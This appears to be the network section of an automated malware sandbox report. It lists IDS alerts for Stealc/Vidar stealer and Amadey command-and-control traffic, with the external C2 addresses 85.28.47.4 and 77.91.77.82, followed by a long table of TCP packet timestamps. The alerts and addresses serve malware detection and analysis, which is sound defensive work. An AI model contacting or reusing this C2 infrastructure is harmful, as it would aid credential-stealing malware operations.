06/27/24-19:25:52.897542	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49705	85.28.47.4	192.168.2.5
06/27/24-19:27:05.439846	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49720	77.91.77.82	192.168.2.5
06/27/24-19:25:52.534531	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49705	80	192.168.2.5	85.28.47.4
06/27/24-19:25:51.797171	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49705	80	192.168.2.5	85.28.47.4
06/27/24-19:25:52.712309	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49705	85.28.47.4	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 27, 2024 19:25:51.791946888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:51.796962023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:51.797053099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:51.797171116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:51.801938057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.533092022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.533180952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:52.534531116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:52.539473057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.712308884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.712322950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.712408066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:52.719548941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:52.724287987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.897542000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.897553921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.897568941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.897579908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.897592068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.897602081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.897613049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:52.897623062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:52.897624016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:52.897716999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:52.899172068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:52.905654907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:53.078373909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:53.078465939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:53.111387968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:53.111443043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:53.116249084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:53.116261959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:53.116312027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:53.116322041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:53.116475105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:53.116528988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:53.831891060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:53.831996918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.177572966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.182786942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.353921890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.353939056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.353949070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.354022980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.354077101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.354139090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.354139090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.354146957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.354166031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.354191065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.354197025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.354211092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.354212999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.354238033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.354264021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.354967117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.355010033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.355021954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.355027914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.355067015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.355067015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.355093956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.355104923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.355145931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.355145931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.436202049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.436213970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.436235905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.436263084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.436290026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.436300039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.436311007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.436321974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.436347961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.436362028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.436876059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.436928034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.437024117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.437072039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.442105055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.442116022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.442162991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.442255974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.442267895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.442277908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.442307949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.442332029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.442357063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.442377090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.442397118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.442411900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.443025112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.443070889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.443078041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.443089008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.443125963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.443458080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.443469048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.443480015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.443507910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.443528891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.443542004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.443553925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.443587065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.444448948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.444490910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.444504976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.444516897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.444545984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.444561005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.444583893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.444595098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.444626093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.444638968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.519409895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.519493103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.519591093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.519603014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.519649982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.521168947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.521218061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.521230936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.521318913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.521318913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.521318913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.524596930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.524647951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.524727106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.524736881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.524777889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.524790049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.524800062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.524811029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.524821997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.524848938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.524874926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.525389910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.525439024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.525444031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.525464058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.525496006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.525501013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.525511980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.525527954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.525547981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.525564909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.526245117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.526293993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.526354074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.526429892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.530881882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.530893087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.530904055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.530932903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.530951023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.530975103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.530986071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.530997038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.531008959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.531018972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.531039000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.531064034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.531399965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.531449080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.531470060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.531481981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.531512976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.531531096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.531565905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.531584978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.531595945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.531615019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.531631947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.531814098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.531858921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.532267094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.532310009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.532313108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.532320976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.532355070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.532392979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.532403946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.532413960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.532424927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.532438993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.532457113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.532479048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.533351898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.533395052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.533404112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.533417940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.533442974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.533442974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.533461094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.533473015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.533483028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.533494949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.533504963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.533529043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.534145117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.534192085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.600609064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.600667953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.600837946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.600855112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.600869894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.600878954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.600886106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.600898981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.600917101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.607414961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.607465982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.607481003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.607491970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.607527971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.607691050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.607738018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.607741117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.607752085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.607779026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.607779026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.607790947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.607800961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.607830048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.607846022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.612951994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.612972021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.612982988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613001108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613022089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613022089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613030910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613065958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613075972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613075972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613101959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613116980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613203049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613214016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613234043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613245964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613260984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613277912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613548994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613559961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613570929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613599062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613620043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613651991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613663912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613699913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613928080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613956928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613969088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.613976002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.613996029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.614008904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.614073992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.614084959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.614094973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.614105940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.614123106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.614147902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.614212990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.614228964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.614259005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.619061947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619110107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619111061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.619121075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619147062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.619160891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.619285107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619296074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619308949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619333982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.619347095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619349003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.619359016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619376898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619386911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.619389057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619410992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.619427919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.619565010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619575977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619586945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619600058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.619611025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.619630098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.620213032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.620260000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.620280027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.620296955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.620322943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.620337963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.620362043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.620378971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.620389938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.620408058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.620409012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.620420933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.620429993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.620431900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.620441914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.620456934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.620465994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.620507956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.621005058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.621015072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.621026039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.621052027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.621073008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.621117115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.621128082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.621138096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.621145010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.621161938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.621179104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.621207952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.621221066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:54.621251106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:54.621277094 CEST	80	49705	85.28.47.4	192.168.2.5
